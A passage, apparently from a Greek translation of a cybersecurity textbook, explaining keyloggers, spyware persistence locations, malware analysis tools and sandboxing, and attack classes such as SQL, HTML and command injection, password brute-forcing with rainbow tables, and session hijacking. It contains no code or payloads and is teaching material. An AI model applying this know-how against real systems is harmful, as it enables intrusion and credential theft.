ημέρες, εβδομάδες ή μήνες. Προγραμματίζουν τα πακέτα διαφυγής DNS με τρόπο που καθιστά δυσκολότερο τον εντοπισμό τους από έναν αναλυτή ασφαλείας ή αυτοματοποιημένα εργαλεία.

Keyloggers Τα προγράμματα καταγραφής πληκτρολόγησης (keyloggers) είναι συσκευές λογισμικού ή υλικού που χρησιμοποιούνται για την καταγραφή όλων των στοιχείων που πληκτρολογεί ένα άτομο. Ορισμένα από αυτά τα προγράμματα μπορούν να καταγράφουν κάθε φορά που γίνεται κλικ με το ποντίκι, επίσκεψη σε ιστότοπο και άνοιγμα προγράμματος. Αν και δεν αποτελούν πραγματικά ένα εργαλείο κρυφής επικοινωνίας, αυτές οι συσκευές επιτρέπουν σε έναν χάκερ να παρακολουθεί κρυφά ό,τι κάνει ένας χρήστης. Ορισμένες από αυτές τις

συσκευές στέλνουν κρυφά όλες τις συγκεντρωμένες πληροφορίες σε μια προκαθορισμένη διεύθυνση ηλεκτρονικού ταχυδρομείου που έχει ορίσει ο χάκερ. Η έκδοση λογισμικού αυτής της συσκευής είναι ουσιαστικά ένα παρεμβαλλόμενο μέρος, καθώς βρίσκεται μεταξύ του λειτουργικού συστήματος και του πληκτρολογίου. Ο χάκερ μπορεί να στείλει στο θύμα ένα πρόγραμμα keystrokelogging τυλιγμένο με τον ίδιο τρόπο που θα παραδιδόταν ένα Trojan. Μόλις εγκατασταθεί, ο καταγραφέας μπορεί να λειτουργήσει σε λειτουργία stealth, πράγμα που σημαίνει ότι είναι δύσκολο να εντοπιστεί, εκτός αν ξέρετε τι ψάχνετε. Υπάρχουν τρόποι για να κάνετε τα keyloggers εντελώς αόρατα στο λειτουργικό σύστημα και σε όσους εξετάζουν το σύστημα αρχείων. Για να επιτευχθεί αυτό, το μόνο που χρειάζεται να κάνει ο χάκερ είναι να χρησιμοποιήσει ένα keylogger υλικού. Αυτές οι συσκευές συνήθως εγκαθίστανται ενώ ο χρήστης βρίσκεται μακριά από το γραφείο του. Τα hardware keyloggers είναι εντελώς μη ανιχνεύσιμα εκτός από τη φυσική τους παρουσία. Ακόμα και τότε, μπορεί να παραβλέπονται επειδή μοιάζουν με επέκταση. Δεν είναι πολλοί αυτοί που δίνουν ιδιαίτερη προσοχή στα βύσματα στο πίσω μέρος του υπολογιστή τους. Για να παραμείνουν στη σωστή πλευρά του νόμου, οι εργοδότες που σκοπεύουν να χρησιμοποιήσουν keyloggers θα πρέπει να βεβαιωθούν ότι η πολιτική της εταιρείας περιγράφει τη χρήση τους και τον τρόπο ενημέρωσης των εργαζομένων. Το τμήμα CERT του Software Engineering Institute (SEI) συνιστά ένα προειδοποιητικό πανό παρόμοιο με το ακόλουθο: "Αυτό το σύστημα προορίζεται μόνο για χρήση από εξουσιοδοτημένο προσωπικό. Εάν συνεχίσετε να έχετε πρόσβαση σε αυτό το σύστημα, συναινείτε ρητά στην παρακολούθηση". Οι συσκευές καταγραφής πληκτρολόγησης υπάρχουν εδώ και χρόνια. Οι συσκευές καταγραφής πληκτρολογίου υλικού μπορεί να είναι ασύρματες ή ενσύρματες. Τα ασύρματα keyloggers μπορούν να επικοινωνούν μέσω 802.11 ή Bluetooth, ενώ τα ενσύρματα keyloggers πρέπει να ανακτηθούν για να αποκτήσουν πρόσβαση στα αποθηκευμένα δεδομένα. Ένα τέτοιο παράδειγμα ενσύρματου keylogger είναι το KeyGhost, μια εμπορική συσκευή που διατίθεται ανοιχτά παγκοσμίως από μια νεοζηλανδική εταιρεία με την επωνυμία KeyGhost Ltd (http://www.keyghost.com). Η συσκευή μοιάζει με έναν μικρό προσαρμογέα στο καλώδιο που συνδέει το πληκτρολόγιο με τον υπολογιστή. Η συσκευή αυτή δεν απαιτεί εξωτερική τροφοδοσία, διαρκεί επ' αόριστον και δεν μπορεί να εντοπιστεί από κανένα λογισμικό.

Πολυάριθμα προϊόντα λογισμικού που καταγράφουν όλες τις πληκτρολογήσεις είναι ανοικτά διαθέσιμα στο Διαδίκτυο. Πρέπει να πληρώσετε για ορισμένα προϊόντα, αλλά άλλα είναι δωρεάν.

Spyware Το λογισμικό κατασκοπείας (spyware) είναι μια άλλη μορφή κακόβουλου κώδικα που μοιάζει με ένα Trojan. Εγκαθίσταται χωρίς τη συγκατάθεση ή τη γνώση σας, είναι κρυφό, παρακολουθεί τον υπολογιστή σας και τη χρήση του Διαδικτύου και είναι ρυθμισμένο να εκτελείται στο παρασκήνιο κάθε φορά που ξεκινά ο υπολογιστής. Το λογισμικό κατασκοπείας έχει εξελιχθεί σε μεγάλο πρόβλημα. Συνήθως χρησιμοποιείται για έναν από τους εξής δύο σκοπούς: Surveillance: Χρησιμοποιείται για τον προσδιορισμό των αγοραστικών σας συνηθειών, την ανακάλυψη των συμπαθειών και αντιπάθειών σας και την αναφορά αυτών των δημογραφικών πληροφοριών σε έμπορους που πληρώνουν. Advertising: Στοχεύεστε σε διαφημίσεις που ο προμηθευτής του spyware έχει πληρωθεί για να τις παραδώσει. Για παράδειγμα, ο κατασκευαστής μιας θήκης κινητού τηλεφώνου με στρας μπορεί να έχει πληρώσει τον προμηθευτή spyware για 100.000 αναδυόμενες διαφημίσεις. Εάν έχετε μολυνθεί, περιμένετε να να λάβετε περισσότερα από το μερίδιό σας από αυτές τις ανεπιθύμητες pop-up διαφημίσεις. Πολλές φορές, οι ιστότοποι και οι προμηθευτές spyware χρησιμοποιούν droppers για να ρίξουν κρυφά τα συστατικά του spyware στον υπολογιστή του θύματος. Βασικά, ένα dropper είναι απλώς ένα άλλο όνομα για ένα wrapper, επειδή ένα dropper είναι ένα αυτόνομο πρόγραμμα που ρίχνει διαφορετικούς τύπους αυτόνομου κακόβουλου λογισμικού σε ένα σύστημα. Τα προγράμματα κατασκοπευτικού λογισμικού είναι παρόμοια με τα Trojans, καθώς υπάρχουν πολλοί τρόποι για να μολυνθούν. Για να αναγκαστεί το spyware να επανεκκινεί κάθε φορά που εκκινεί το σύστημα, ο κώδικας συνήθως κρύβεται στα κλειδιά εκτέλεσης του μητρώου, στο φάκελο εκκίνησης των Windows, στις γραμμές load= ή run= των Windows που βρίσκονται στο αρχείο Win.ini ή στη γραμμή Shell= που βρίσκεται στο αρχείο System.ini των Windows. Το λογισμικό κατασκοπείας, όπως όλα τα κακόβουλα προγράμματα, μπορεί επίσης να κάνει αλλαγές στο αρχείο hosts. Αυτό γίνεται για να μπλοκάρουν την κυκλοφορία προς όλους τους διακομιστές λήψης ή ενημέρωσης των γνωστών προμηθευτών ασφάλειας ή για

να ανακατευθύνουν την κυκλοφορία σε διακομιστές της επιλογής τους, ανακατευθύνοντας την κυκλοφορία σε διακομιστές διαφημίσεων και αντικαθιστώντας τις διαφημίσεις με τις δικές τους. Αν έχετε να κάνετε με συστήματα στα οποία έχει εγκατασταθεί spyware, ξεκινήστε κοιτάζοντας το αρχείο hosts και τις άλλες θέσεις που αναφέρθηκαν προηγουμένως ή χρησιμοποιήστε ένα πρόγραμμα αφαίρεσης spyware. Είναι καλή πρακτική να χρησιμοποιείτε περισσότερα από ένα προγράμματα κατά του spyware για να βρείτε και να αφαιρέσετε όσο το δυνατόν περισσότερο spyware.

Analyzing Malware (Ανάλυση κακόβουλου λογισμικού) Η ανάλυση κακόβουλου λογισμικού μπορεί να είναι εξαιρετικά πολύπλοκη. Παρόλο που η εις βάθος εξέταση αυτού του τομέα της ασφάλειας στον κυβερνοχώρο ξεφεύγει από το παρόν βιβλίο, θα πρέπει να έχετε μια βασική κατανόηση του τρόπου με τον οποίο πραγματοποιείται η ανάλυση. Υπάρχουν δύο βασικές μέθοδοι ανάλυσης ιών και άλλου κακόβουλου λογισμικού: Static analysis Dynamic analysis

Static Analysis Η στατική ανάλυση ασχολείται με την αποκωδικοποίηση, την αντίστροφη μηχανική και την ανάλυση κακόβουλου λογισμικού. Ο τομέας αποτελεί απόρροια του τομέα της έρευνας για τους ιούς υπολογιστών και του προσδιορισμού της πρόθεσης κακόβουλου λογισμικού. Αναλογιστείτε παραδείγματα όπως το Conficker, το Stuxnet, το Aurora και το Black Hole Exploit Kit. Η στατική ανάλυση χρησιμοποιεί disassemblers και decompilers για τη μορφοποίηση των δεδομένων σε μορφή αναγνώσιμη από τον άνθρωπο. Αρκετά χρήσιμα εργαλεία παρατίθενται εδώ: IDA Pro: Ένας διαδραστικός disassembler που μπορείτε να χρησιμοποιήσετε για την αποκωδικοποίηση κώδικα. Είναι ιδιαίτερα χρήσιμος σε περιπτώσεις στις οποίες ο πηγαίος κώδικας δεν είναι διαθέσιμος, όπως για παράδειγμα σε περιπτώσεις κακόβουλου λογισμικού. Το IDA Pro επιτρέπει στο χρήστη να δει τον πηγαίο κώδικα και να επανεξετάσει τις εντολές που εκτελούνται από τον επεξεργαστή. Το IDA Pro χρησιμοποιεί προηγμένες τεχνικές για να καταστήσει αυτόν τον κώδικα πιο ευανάγνωστο. Μπορείτε να κατεβάσετε και να λάβετε

πρόσθετες πληροφορίες σχετικά με το IDA Pro στη διεύθυνση https://www.hexrays.com/products/ida/. Evan’s Debugger (edb): Ένα Linux cross-platform AArch32/x86/x86-64 debugger. Μπορείτε να κατεβάσετε και να λάβετε πρόσθετες πληροφορίες για το Evan's Debugger στη διεύθυνση https://github.com/eteran/edbdebugger. BinText: Ένα άλλο εργαλείο που είναι χρήσιμο για τον αναλυτή κακόβουλου λογισμικού. Το BinText είναι ένα πρόγραμμα εξαγωγής κειμένου που θα ενδιαφέρει ιδιαίτερα τους προγραμματιστές. Μπορεί να εξάγει κείμενο από οποιοδήποτε είδος αρχείου και περιλαμβάνει τη δυνατότητα εύρεσης απλού κειμένου ASCII, κειμένου Unicode (double-byte ANSI) και συμβολοσειρών πόρων, παρέχοντας χρήσιμες πληροφορίες για κάθε στοιχείο στην προαιρετική λειτουργία προβολής "για προχωρημένους". Μπορείτε να κατεβάσετε και να λάβετε πρόσθετες πληροφορίες σχετικά με το BinText από την ακόλουθη διεύθυνση URL: https://www.aldeid.com/wiki/BinText. UPX: Ένα εργαλείο συσκευασίας, συμπίεσης και αποσυμπίεσης. Μπορείτε να κατεβάσετε και να λάβετε περισσότερες πληροφορίες σχετικά με το UPX στη διεύθυνση https://upx.github.io. OllyDbg: Ένας debugger που επιτρέπει την ανάλυση δυαδικού κώδικα όταν δεν είναι διαθέσιμος ο πηγαίος κώδικας. Μπορείτε να κατεβάσετε και να λάβετε περισσότερες πληροφορίες για το OllyDbg στη διεύθυνση http://www.ollydbg.de. Ghidra: Ένα εργαλείο αντίστροφης μηχανικής λογισμικού που αναπτύχθηκε από τη Διεύθυνση Έρευνας της Υπηρεσίας Εθνικής Ασφάλειας των ΗΠΑ (NSA). Μπορείτε να κατεβάσετε και να λάβετε πρόσθετες πληροφορίες σχετικά με το Ghidra στη διεύθυνση https://ghidrasre.org.

Dynamic Analysis Η δυναμική ανάλυση κακόβουλου λογισμικού και ιών είναι η δεύτερη μέθοδος που μπορεί να χρησιμοποιηθεί. Η δυναμική ανάλυση σχετίζεται με την παρακολούθηση και την ανάλυση της δραστηριότητας του υπολογιστή και της κίνησης του δικτύου. Αυτό απαιτεί τη δυνατότητα διαμόρφωσης της συσκευής δικτύου για παρακολούθηση, αναζήτηση ασυνήθιστης ή ύποπτης δραστηριότητας και προσπάθεια να μην ειδοποιηθούν οι επιτιθέμενοι. Αυτή η προσέγγιση απαιτεί την προετοιμασία ενός δοκιμαστικού περιβάλλοντος. Πριν ξεκινήσετε τη δημιουργία ενός εργαστηρίου δυναμικής ανάλυσης,

θυμηθείτε ότι ο υπ' αριθμόν ένα στόχος είναι να κρατήσετε το κακόβουλο λογισμικό περιορισμένο. Εάν επιτρέψετε στο σύστημα υποδοχής να εκτεθεί, έχετε ακυρώσει ολόκληρο τον σκοπό της άσκησης. Τα εικονικά συστήματα μοιράζονται πολλούς πόρους με το σύστημα υποδοχής και μπορούν γρήγορα να εκτεθούν, εάν η διαμόρφωση δεν αντιμετωπιστεί σωστά. Ακολουθούν μερικές υποδείξεις για την αποτροπή διαφυγής του κακόβουλου λογισμικού από το απομονωμένο περιβάλλον στο οποίο θα έπρεπε να περιοριστεί: Εγκαταστήστε μια εικονική μηχανή. Εγκαταστήστε ένα φιλοξενούμενο λειτουργικό σύστημα στο VM. Απομονώστε το σύστημα από το φιλοξενούμενο VM. Επαληθεύστε ότι έχει μπλοκαριστεί κάθε κοινή χρήση και μεταφορά δεδομένων μεταξύ του λειτουργικού συστήματος του κεντρικού υπολογιστή και του εικονικού συστήματος. Αντιγράψτε το κακόβουλο λογισμικό στο φιλοξενούμενο λειτουργικό σύστημα και προετοιμαστείτε για ανάλυση. Οι συγγραφείς κακόβουλου λογισμικού χρησιμοποιούν μερικές φορές τεχνικές anti-VM για να αποτρέψουν τις προσπάθειες ανάλυσης. Εάν προσπαθήσετε να εκτελέσετε το κακόβουλο λογισμικό σε μια VM, μπορεί να σχεδιαστεί να μην εκτελεστεί. Για παράδειγμα, ένας απλός τρόπος είναι η λήψη της διεύθυνσης MAC- αν το Organizationally Unique Identifier (OUI) ταιριάζει με έναν προμηθευτή VM, το κακόβουλο λογισμικό δεν θα εκτελεστεί. Το κακόβουλο λογισμικό μπορεί επίσης να ελέγξει αν υπάρχει ενεργή σύνδεση δικτύου. Εάν όχι, μπορεί να αρνηθεί να εκτελεστεί. Ένα εργαλείο για να ξεπεράσετε αυτό το εμπόδιο είναι το FakeNet. Το FakeNet προσομοιώνει μια σύνδεση δικτύου, έτσι ώστε το κακόβουλο λογισμικό που αλληλεπιδρά με έναν απομακρυσμένο υπολογιστή να συνεχίζει να εκτελείται. Αν αναγκαστείτε να εντοπίσετε το κακόβουλο λογισμικό ανακαλύπτοντας πού έχει εγκατασταθεί στο τοπικό σύστημα, υπάρχουν ορισμένες γνωστές περιοχές που πρέπει να εξετάσετε: Διεργασίες που εκτελούνται Προγράμματα οδήγησης συσκευών Υπηρεσίες των Windows Προγράμματα εκκίνησης Αρχεία λειτουργικού συστήματος

Το κακόβουλο λογισμικό πρέπει να εγκατασταθεί κάπου, και με μια προσεκτική ανάλυση του συστήματος, των αρχείων, της μνήμης και των φακέλων, θα μπορέσετε να το βρείτε. Υπάρχουν διάφοροι ιστότοποι που μπορούν να σας βοηθήσουν να αναλύσετε ύποπτο κακόβουλο λογισμικό. Αυτά τα διαδικτυακά εργαλεία μπορούν να παρέχουν μια γρήγορη και εύκολη ανάλυση των αρχείων όταν δεν είναι δυνατή η αντίστροφη μηχανική και η αποκωδικοποίηση. Οι περισσότερες από αυτές τις τοποθεσίες είναι εύκολες στη χρήση και προσφέρουν μια απλή διεπαφή point-and-click. Αυτές οι τοποθεσίες λειτουργούν γενικά ως sandbox. Ένα sandbox είναι απλώς ένα αυτόνομο περιβάλλον που σας επιτρέπει να προβάλλετε ή να εκτελείτε με ασφάλεια το πρόγραμμα, διατηρώντας το παράλληλα περιορισμένο. Ένα καλό παράδειγμα υπηρεσιών sandbox είναι το Cisco ThreatGrid. Αυτό το εξαιρετικό εργαλείο και υπηρεσία παρακολουθεί τις αλλαγές που πραγματοποιούνται στο σύστημα αρχείων, το μητρώο, τη μνήμη και το δίκτυο. Κατά τη διάρκεια μιας αξιολόγησης ασφάλειας δικτύου, ενδέχεται να ανακαλύψετε κακόβουλο λογισμικό ή άλλο ύποπτο κώδικα. Θα πρέπει να διαθέτετε ένα σχέδιο αντιμετώπισης περιστατικών το οποίο να εξετάζει τον τρόπο χειρισμού αυτών των καταστάσεων. Εάν χρησιμοποιείτε μόνο ένα προϊόν προστασίας από ιούς για τη σάρωση για κακόβουλο λογισμικό, μπορεί να χάνετε πολλά.O ιστότοπος Cisco Talos File Reputation Lookup

(https://www.talosintelligence.com/reputation)

και

το

VirusTotal

(https://virustotal.com) σας επιτρέπουν να ανεβάζετε αρχεία για να επαληθεύσετε αν μπορεί να είναι γνωστό κακόβουλο λογισμικό. Αυτά τα εργαλεία και οι τεχνικές που παρατίθενται προσφέρουν κάποια εικόνα του τρόπου με τον οποίο πραγματοποιείται η στατική ανάλυση κακόβουλου λογισμικού, αλλά μην περιμένετε από τους συγγραφείς κακόβουλου λογισμικού να κάνουν την ανάλυση του κώδικά τους εύκολη. Πολλές τεχνικές μπορούν να χρησιμοποιηθούν για να κάνουν την αποσυναρμολόγηση πρόκληση: Κρυπτογράφηση Απόκρυψη Κωδικοποίηση Anti-VM Anti-debugger

Κοινό λογισμικό και τρωτά σημεία υλικού Ο αριθμός των αποκαλυφθέντων ευπαθειών συνεχίζει να αυξάνεται. Μπορείτε να ενημερώνεστε για τις αποκαλύψεις ευπαθειών μέσω των ακόλουθων τρόπων, εγγραφείτε σε ροές ευπαθειών και αναζητώντας δημόσιες όπως η Εθνική Βάση Δεδομένων για τις ευπάθειες (NVD). Η NVD είναι προσβάσιμη στη διεύθυνση https://nvd.nist.gov. Υπάρχουν πολλά διαφορετικά λογισμικά και hardware και σχετικές κατηγορίες τρωτών σημείων. Τα τμήματα πουπεριλαμβάνουν μερικά παραδείγματα. Τρωτά σημεία εισβολής Ακολουθούν παραδείγματα εγχύσεων με βάση τις αδυναμίες: Τρωτά σημεία έγχυσης SQL Τρωτά σημεία έγχυσης HTML Τρωτά σημεία έγχυσης εντολών Οι ευπάθειες έγχυσης κώδικα εκμεταλλεύονται με το να αναγκάζουν μια εφαρμογή ή ένα σύστημα να επεξεργάζεται άκυρα δεδομένα. Ένας εισβολέας εκμεταλλεύεται αυτό το είδος ευπάθειας για να εισάγει κώδικα σε ένα ευάλωτο σύστημα και να αλλάξει την πορεία εκτέλεσης. Η επιτυχής εκμετάλλευση μπορεί να οδηγήσει σε αποκάλυψη ευαίσθητων πληροφοριών, χειραγώγηση δεδομένων, συνθήκες άρνησης παροχής υπηρεσιών και πολλά άλλα. Παραδείγματα ευπαθειών έγχυσης κώδικα περιλαμβάνουν τα εξής: Έγχυση SQL Έγχυση σεναρίου HTML Δυναμική αξιολόγηση κώδικα Έγχυση αντικειμένων Απομακρυσμένη συμπερίληψη αρχείου Μη ελεγχόμενη συμβολοσειρά μορφής Έγχυση κελύφους

Έγχυση SQL

Οι ευπάθειες έγχυσης SQL (SQLi) μπορεί να είναι καταστροφικές, επειδή μπορούν να επιτρέψουν σε έναν εισβολέα να προβάλει, να εισάγει, να διαγράψει ή να τροποποιήσει εγγραφές σε μια βάση δεδομένων. Σε μια επίθεση έγχυσης SQL, ο επιτιθέμενος εισάγει ή εγχέει, μερικά ή πλήρη ερωτήματα SQL μέσω της εφαρμογής ιστού. Ο επιτιθέμενος εισάγει εντολές SQL σε πεδία εισαγωγής σε μια εφαρμογή ή σε μια διεύθυνση URL προκειμένου να εκτελέσει προκαθορισμένες εντολές SQL. Οι εφαρμογές ιστού κατασκευάζουν εντολές SQL που περιλαμβάνουν σύνταξη SQL που καλείται από την εφαρμογή αναμεμειγμένη με δεδομένα που παρέχονται από τους χρήστες. Ένα από τα πρώτα βήματα για την εύρεση ευπαθειών SQL injection είναι να κατανοήσετε πότε η εφαρμογή αλληλεπιδρά με μια βάση δεδομένων. Αυτό γίνεται συνήθως με φόρμες αυθεντικοποίησης ιστού, μηχανές αναζήτησης και διαδραστικές τοποθεσίες, όπως τοποθεσίες ηλεκτρονικού εμπορίου. Οι επιθέσεις έγχυσης SQL μπορούν να χωριστούν στις εξής κατηγορίες κατηγορίες: Έγχυση SQL εντός της ζώνης: Με αυτόν τον τύπο έγχυσης, ο εισβολέας αποκτά τα δεδομένα χρησιμοποιώντας το ίδιο κανάλι που χρησιμοποιείται για την έγχυση του κώδικα SQL. Αυτή είναι η πιο βασική μορφή επίθεσης έγχυσης SQL, όπου τα δεδομένα απορρίπτονται απευθείας σε μια διαδικτυακή εφαρμογή (ή ιστοσελίδα). Έγχυση SQL εκτός ζώνης: Με αυτόν τον τύπο έγχυσης, ο εισβολέας ανακτά δεδομένα χρησιμοποιώντας ένα διαφορετικό κανάλι. Για παράδειγμα, ένα μήνυμα ηλεκτρονικού ταχυδρομείου, ένα κείμενο ή ένα άμεσο μήνυμα θα μπορούσε να σταλεί στον εισβολέα με τα αποτελέσματα του ερωτήματος. Εναλλακτικά, ο επιτιθέμενος μπορεί να είναι σε θέση να στείλει τα παραβιασμένα δεδομένα σε άλλο σύστημα. Τυφλή (ή συμπερασματική) έγχυση SQL: Αντίθετα, ο εισβολέας είναι σε θέση να ανακατασκευάσει τις πληροφορίες στέλνοντας συγκεκριμένες εντολές και διακρίνοντας τη συμπεριφορά της εφαρμογής και της βάσης δεδομένων. Για να εκτελέσει μια επίθεση έγχυσης SQL, ο επιτιθέμενος πρέπει να δημιουργήσει μια συντακτικά σωστή δήλωση SQL (ερώτημα). Ο επιτιθέμενος μπορεί επίσης να εκμεταλλευτεί τα μηνύματα σφάλματος που επιστρέφονται από την εφαρμογή και μπορεί να είναι σε θέση να ανακατασκευάσει τη λογική του αρχικού ερωτήματος για να καταλάβει πώς να εκτελέσει σωστά την επίθεση. Εάν η εφαρμογή αποκρύπτει τις λεπτομέρειες σφάλματος, ο επιτιθέμενος ενδέχεται να χρειαστεί να ανασυνθέσει τη λογική του αρχικού ερωτήματος.

HTML Injection (Έγχυση HTML) Η έγχυση HTML είναι μια ευπάθεια που εμφανίζεται όταν ένας μη εξουσιοδοτημένος χρήστης μπορεί να ελέγξει ένα σημείο εισόδου και να εισάγει αυθαίρετο κώδικα HTML σε μια εφαρμογή ιστού. Η επιτυχής εκμετάλλευση θα μπορούσε να οδηγήσει σε αποκάλυψη των cookies συνεδρίας ενός χρήστη. Ένας επιτιθέμενος θα μπορούσε να το κάνει αυτό για να υποδυθεί ένα θύμα ή να τροποποιήσει το περιεχόμενο της ιστοσελίδας ή της εφαρμογής που βλέπουν τα θύματα. Οι ευπάθειες έγχυσης HTML μπορούν να οδηγήσουν σε cross-site scripting (XSS). Θα μάθετε λεπτομέρειες σχετικά με τους διάφορους τύπους ευπαθειών και επιθέσεων XSS αργότερα σε αυτήν την ενότητα.

Command Injection (Έγχυση εντολών) Η έγχυση εντολών είναι μια επίθεση κατά την οποία ένας εισβολέας προσπαθεί να εκτελέσει εντολές που δεν θα έπρεπε να μπορεί να εκτελέσει σε ένα σύστημα μέσω μιας ευάλωτης εφαρμογής. Οι επιθέσεις έγχυσης εντολών είναι δυνατές όταν μια εφαρμογή δεν επικυρώνει τα δεδομένα που παρέχει ο χρήστης (για παράδειγμα, δεδομένα που εισάγονται σε φόρμες ιστού, cookies, κεφαλίδες HTTP και άλλα στοιχεία). Το ευάλωτο σύστημα μεταβιβάζει τα δεδομένα αυτά σε ένα κέλυφος συστήματος. Με την έγχυση εντολών, ένας επιτιθέμενος προσπαθεί να στείλει εντολές του λειτουργικού συστήματος ώστε η εφαρμογή να τις εκτελέσει με τα προνόμια της ευάλωτης εφαρμογής. Η έγχυση εντολών δεν είναι το ίδιο με την εκτέλεση κώδικα και την έγχυση κώδικα, που περιλαμβάνουν την εκμετάλλευση μιας υπερχείλισης ρυθμιστικού διαφράγματος ή παρόμοιας ευπάθειας.

Τρωτά σημεία βασισμένα στον έλεγχο ταυτότητας Ένας εισβολέας μπορεί να παρακάμψει τον έλεγχο ταυτότητας σε ευάλωτα συστήματα χρησιμοποιώντας διάφορες μεθόδους. Οι ακόλουθοι είναι οι πιο συνηθισμένοι τρόποι εκμετάλλευσης των ευπαθειών που βασίζονται στον έλεγχο ταυτότητας σε ένα επηρεαζόμενο σύστημα: Υποκλοπή διαπιστευτηρίων (Credential brute forcing)

Κατάχρηση συνεδρίας (Session hijacking) Αναπροσανατολισμός (Redirecting) Εκμετάλλευση προεπιλεγμένων διαπιστευτηρίων (Exploiting default credentials) Εκμετάλλευση αδύναμων διαπιστευτηρίων (Exploiting weak credentials) Εκμετάλλευση ευπαθειών Kerberos (Exploiting Kerberos vulnerabilities)

Επιθέσεις διαπίστευσης Brute Force και παραβίαση κωδικού πρόσβασης (Credential Brute Force Attacks and Password Cracking) Σε μια επίθεση brute-force credential, ο επιτιθέμενος προσπαθεί να συνδεθεί σε μια εφαρμογή ή ένα σύστημα δοκιμάζοντας διαφορετικά ονόματα χρήστη και κωδικούς πρόσβασης. Υπάρχουν δύο μεγάλες κατηγορίες επιθέσεων brute-force: Online επιθέσεις brute-force: Σε αυτόν τον τύπο επίθεσης, ο επιτιθέμενος προσπαθεί ενεργά να συνδεθεί στην εφαρμογή απευθείας χρησιμοποιώντας πολλούς διαφορετικούς συνδυασμούς διαπιστευτηρίων. Οι επιθέσεις online brute-force είναι εύκολο να εντοπιστούν, επειδή μπορείτε εύκολα να ελέγξετε τον μεγάλο αριθμό προσπαθειών ενός επιτιθέμενου. Offline επιθέσεις brute-force: Ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε κρυπτογραφημένα δεδομένα ή κωδικούς πρόσβασης. Αυτές οι επιθέσεις είναι πιο δύσκολο να αποτραπούν και να εντοπιστούν από τις επιθέσεις σε απευθείας σύνδεση. Ωστόσο, οι offline επιθέσεις απαιτούν σημαντικά μεγαλύτερη υπολογιστική προσπάθεια και πόρους από τον επιτιθέμενο. Η ισχύς των διαπιστευτηρίων του χρήστη και της εφαρμογής έχει άμεση επίδραση στην επιτυχία των επιθέσεων brute-force. Τα αδύναμα διαπιστευτήρια είναι μία από τις κύριες αιτίες παραβίασης των διαπιστευτηρίων. Όσο πιο σύνθετος και όσο μεγαλύτερος είναι ο κωδικός πρόσβασης (διαπιστευτήρια), τόσο το καλύτερο. Μια ακόμη καλύτερη προσέγγιση είναι η χρήση ελέγχου ταυτότητας πολλαπλών παραγόντων (multifactor authenticatio - MFA). Η χρήση MFA μειώνει σημαντικά την πιθανότητα επιτυχίας για τέτοιου είδους επιθέσεις. Ένας επιτιθέμενος μπορεί να τροφοδοτήσει ένα σύστημα επίθεσης με έναν κατάλογο λέξεων που περιέχει χιλιάδες λέξεις, προκειμένου να σπάσει κωδικούς πρόσβασης ή σχετικά διαπιστευτήρια. Ο ακόλουθος ιστότοπος παρέχει συνδέσμους σε εκατομμύρια πραγματικούς κωδικούς πρόσβασης: http://wordlists.h4cker.org.

Οι αδύναμοι κρυπτογραφικοί αλγόριθμοι (όπως οι RC4, MD5 και DES) επιτρέπουν στους επιτιθέμενους να σπάσουν εύκολα τους κωδικούς πρόσβασης. Οι επιτιθέμενοι μπορούν επίσης να χρησιμοποιήσουν στατιστική ανάλυση και πίνακες ουράνιου τόξου εναντίον συστημάτων που προστατεύουν ακατάλληλα τους κωδικούς πρόσβασης με λειτουργία κατακερματισμού μονής κατεύθυνσης. Ένας πίνακας ουράνιου τόξου είναι ένας προ-υπολογισμένος πίνακας για την αντιστροφή κρυπτογραφικών συναρτήσεων κατακερματισμού και για την αποκάλυψη κατακερματισμών κωδικών πρόσβασης. Τέτοιοι πίνακες μπορούν να χρησιμοποιηθούν για την επιτάχυνση της διαδικασίας σπασίματος των κατακερματισμών κωδικών πρόσβασης. Για έναν κατάλογο των δημόσιων διαθέσιμων πινάκων ουράνιου τόξου, ανατρέξτε στη διεύθυνση

http://project-rainbowcrack.com/table.htm.

Εκτός

από

τους

αδύναμους

αλγόριθμους κρυπτογράφησης ή κατακερματισμού, τα κακοσχεδιασμένα πρωτόκολλα ασφαλείας, όπως το Wired Equivalent Privacy (WEP), εισάγουν διόδους επίθεσης για την παραβίαση των διαπιστευτηρίων του χρήστη και της εφαρμογής. Επίσης, εάν οι κατακερματισμένες τιμές αποθηκεύονται χωρίς να έχουν καταστεί προηγουμένως μοναδικές, είναι πιθανό να αποκτήσει κάποιος πρόσβαση στις τιμές και να πραγματοποιήσει επίθεση με πίνακα ουράνιου τόξου. Ένας οργανισμός θα πρέπει να εφαρμόζει τεχνικές στα συστήματα και τις εφαρμογές για να περιορίζει τις προσπάθειες σύνδεσης και να αποτρέπει τις επιθέσεις brute-force. Αυτές οι προσπάθειες θα πρέπει επίσης να καταγράφονται και να ελέγχονται.

Κατάχρηση συνεδρίας (Session Hijacking) Υπάρχουν διάφοροι τρόποι με τους οποίους ένας επιτιθέμενος μπορεί να πραγματοποιήσει κατάχρηση συνεδρίας και διάφοροι τρόποι με τους οποίους μπορεί να παραβιαστεί ένα αναγνωριστικό συνεδρίας: Πρόβλεψη tokens συνεδρίας (Predicting session tokens): Γι' αυτό είναι σημαντικό να χρησιμοποιούνται μη προβλέψιμα tokens, όπως προηγουμένως συζητήθηκε σε αυτή την ενότητα. Ανίχνευση συνόδου(Session sniffing): Αυτό μπορεί να συμβεί μέσω της συλλογής πακέτων μη κρυπτογραφημένων συνεδριών ιστού.

Επίθεση Man-in-the-middle: Με αυτόν τον τύπο επίθεσης, ο επιτιθέμενος βρίσκεται στη διαδρομή μεταξύ του πελάτη και του διακομιστή ιστού. Επίθεση Man-in-the-browser: Αυτή η επίθεση είναι παρόμοια σε προσέγγιση με την επίθεση man-in-the-middle. Ωστόσο, σε αυτή την περίπτωση, ένα πρόγραμμα περιήγησης (ή μια επέκταση ή ένα πρόσθετο) παραβιάζεται και χρησιμοποιείται για την υποκλοπή και τη χειραγώγηση των περιόδων λειτουργίας ιστού μεταξύ του χρήστη και του διακομιστή ιστού. Εάν οι διαδικτυακές εφαρμογές δεν επικυρώνουν και δεν φιλτράρουν τις άκυρες τιμές του αναγνωριστικού συνεδρίας, μπορούν ενδεχομένως να χρησιμοποιηθούν για την εκμετάλλευση άλλων ευπαθειών του διαδικτύου, όπως η έγχυση SQL (εάν τα αναγνωριστικά συνεδρίας αποθηκεύονται σε σχεσιακή βάση δεδομένων) ή το επίμονο XSS (εάν τα αναγνωριστικά συνεδρίας αποθηκεύονται και αντανακλώνται εκ των υστέρων από την διαδικτυακή εφαρμογή).

